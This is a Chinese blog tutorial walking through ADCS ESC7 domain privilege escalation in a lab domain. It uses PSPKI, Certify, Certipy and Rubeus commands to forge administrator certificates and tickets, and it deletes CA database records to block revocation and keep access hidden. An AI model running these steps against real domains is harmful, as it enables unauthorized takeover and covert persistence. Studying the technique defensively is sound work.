ADCS-域提权-ESC7-多种利用方式

admin 2023年12月8日22:12:06评论31 views字数 4366阅读14分33秒阅读模式

对未来真正的慷慨,是把一切献给现在

True generosity towards the future lies in giving everything to the present.

在《Certified Pre-Owned – Abusing Active Directory Certificate Services》中,不仅仅提到了证书配置错误方面的问题,当证书颁发机构访问权限配置不当时,也存在相应的问题。这里主要的两个权限是ManageCA权限和ManageCertificates权限,也就是就是“管理CA”和“颁发和管理证书”。

ESC7错误配置

在ADCS服务器上证书颁发机构给User添加权限:ADCS-域提权-ESC7-多种利用方式

在ADCS服务器上证书颁发机构给Users用户添加“颁发和管理证书”,“管理CA”权限:ADCS-域提权-ESC7-多种利用方式

使用PSPKI模块查询CA的权限,可以看到Users用户有了ManageCA,ManageCertificates的权限:ADCS-域提权-ESC7-多种利用方式

利用一、启用_EDITF_ATTRIBUTESUBJECTALTNAME2_

(当EDITF_ATTRIBUTESUBJECALTNAME2修改时,需要重启CertSvc服务才能生效,拥有ManageCA、ManageCertificates权限并不能远程重启服务,故该方式利用有限) 在ESC6中提到,当EDITF_ATTRIBUTESUBJECALTNAME2启用时,任何请求都可以定义任意值在alternative name中。当用户拥有ManageCA(管理CA)权限时,就有权限修改启用EDITF_ATTRIBUTESUBJECTALTNAME2标志从而来执行ESC6攻击:ADCS-域提权-ESC7-多种利用方式

使用PSPKI启用EDITF_ATTRIBUTESUBJECTALTNAME2

Import-Module -Name PSPKI
$configReader=New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "DC1.t0ngmystictestad.com"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags","PolicyModulesCertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376950,"EditFlags","PolicyModulesCertificateAuthority_MicrosoftDefault.Policy")
ADCS-域提权-ESC7-多种利用方式

利用Certify.exe工具探测EDITF_ATTRIBUTESUBJECTALTNAME2是否开启:

Certify.exe find /vulnerable
ADCS-域提权-ESC7-多种利用方式

在AD域-ADCS错误配置-ESC5-ESC6中提到的修改EDITF_ATTRIBUTESUBJECALTNAME2需要重启CertSvc服务才能生效,但拥有了证书颁发机构的权限(ManageCA权限和ManageCertificates权限),并不能够远程重启ADCS的CertSvc服务(我这里使用PSPKI重启总是报错,我猜测拥有证书颁发机构的权限,但是对于服务的启动和关闭还是没有权限)

Get-CertificationAuthority | Stop-CertificationAuthority
ADCS-域提权-ESC7-多种利用方式

以Administrator域管用户身份可远程关闭:

Import-Module PSPKI
Get-CertificationAuthority | Restart-CertificationAuthority
---OR---
Import-Module PSPKI
Get-CertificationAuthority | Stop-CertificationAuthority
Get-CertificationAuthority | Start-CertificationAuthority
ADCS-域提权-ESC7-多种利用方式

由于无法以低权限用户远程重启CertSvc服务,这里直接在ADCS服务器上重启了:ADCS-域提权-ESC7-多种利用方式

利用Certify.exe工具伪造administrator身份请求User证书:

Certify.exe request /ca:DC1.t0ngmystictestad.comt0ngmystictestad-DC1-CA /template:User /altname:administrator
ADCS-域提权-ESC7-多种利用方式

转换证书格式为pfx:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

ADCS-域提权-ESC7-多种利用方式利用Rubeus.exe工具利用伪造administrator身份的证书请求域管的tgt,并植入内存:

rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.111.11 /ptt
ADCS-域提权-ESC7-多种利用方式

成功提权administrator并访问域控服务器:

dir \dc1.t0ngmystictestad.comc$
ADCS-域提权-ESC7-多种利用方式

利用二、修改证书ACL

上面一种利用方式,由于启用EDITF_ATTRIBUTESUBJECALTNAME2需要重启CertSvc服务才能生效,导致利用有限。那么还记得ADCS的ESC4利用方式吗?当证书给低权限用户配置了写权限,从而可以改写证书的配置,进而进行利用提权。当用户拥有ManageCertificates权限时,就可以改写证书模板的ACl权限,从而让低权限用户有写权限,从而使用ESC4方法进行提权。

l利用Certify.exe工具查询ESC7证书模板权限,可以看见目前user1用户并没有任何权限:

Certify.exe find
ADCS-域提权-ESC7-多种利用方式

使用PSPKI修改ESC7证书模板的ACl,给T0NGMYSTICTESTAuser1用户添加所有权限:

Get-CertificateTemplate -Name ESC7 | Get-CertificateTemplateAcl | Add-CertificateTemplateAcl -Identity T0NGMYSTICTESTAuser1 -AccessType Allow -AccessMask FullControl | Set-CertificateTemplateAcl
ADCS-域提权-ESC7-多种利用方式

再次查询ESC7证书模板,发现user1拥有了ESC7完全控制权:ADCS-域提权-ESC7-多种利用方式

如此ESC7就符合了ESC4的利用条件,直接使用ESC4的利用方式进行提权即可,ESC4详细利用方式在# AD域-ADCS错误配置-ESC4。

利用三、发布证书、颁发失败证书

(这里由于Certify.exe没找到颁发失败证书功能,故使用了Certipy+PSPKI) 这里从属证书颁发机构证书(SubCA)模板没有发布(默认是发布的):ADCS-域提权-ESC7-多种利用方式

使用PSPKI发布SubCA(从属证书颁发机构证书):

Import-Module PSPKI
Get-CertificationAuthority | Get-CATemplate | Add-CATemplate -Name "SubCA" | Set-CATemplate
ADCS-域提权-ESC7-多种利用方式

利用Certipy请求SubCA证书,由于该证书只允许管理员请求,会失败,记下private和RequestID(主要是RequestID:107):

certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -template SubCA -upn [email protected] -debug
ADCS-域提权-ESC7-多种利用方式

利用Certipy的ca -issue-request颁发失败的证书:

certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -retrieve 107
ADCS-域提权-ESC7-多种利用方式

重新请求获取107证书:

certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -retrieve 107
ADCS-域提权-ESC7-多种利用方式

利用Rubeus请求administrator域管的tgt并注入内存:

rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /dc:192.168.111.11 /ptt
ADCS-域提权-ESC7-多种利用方式

成功提权域管并访问域控服务器:ADCS-域提权-ESC7-多种利用方式

拥有ManageCA权限和ManageCertificates权限,同样也可以批准需管理员审批而挂起的证书(不再赘述)

利用四、痕迹隐藏

当拥有ManageCA权限和ManageCertificates权限或者已经提权至域管权限后,可以利用PSPKI调用接口将申请的证书痕迹从 CA 数据库中删除,从而隐藏提权痕迹,由于申请的证书已从CA数据库中删除,运维人员也无法直接吊销该证书,只要管理员账号还在,就能一直使用,从而维持权限。

(用来提权的108号证书)在ADCS服务器中看见108证书,运维人员可以随时吊销:ADCS-域提权-ESC7-多种利用方式

利用PSPKI将108证书从CA数据库中删除:

Get-CertificationAuthority DC1.t0ngmystictestad.com | Get-IssuedRequest -RequestID 108 | Remove-AdcsDatabaseRow
ADCS-域提权-ESC7-多种利用方式

现在108号证书在ADCS服务器中已经无法看到,运维人员无法直接吊销108证书,但是之前申请的108证书仍然可以使用进行提权:ADCS-域提权-ESC7-多种利用方式

再次利用先前申请的108号证书重新申请TGT,提权至administrator管理员:ADCS-域提权-ESC7-多种利用方式成功再次提权访问域控服务器:ADCS-域提权-ESC7-多种利用方式

看网上的介绍当拥有ManageCA权限和ManageCertificates权限的时候,还可以写文件,当存在IIS服务时,通过写webshell,从而获取IIS服务器的权限。

文笔垃圾,技术欠缺,欢迎各位大师傅请斧正,非常感谢!

原文始发于微信公众号(T0ngMystic工作站):ADCS-域提权-ESC7-多种利用方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月8日22:12:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ADCS-域提权-ESC7-多种利用方式http://cn-sec.com/archives/2281593.html

发表评论

匿名网友 填写信息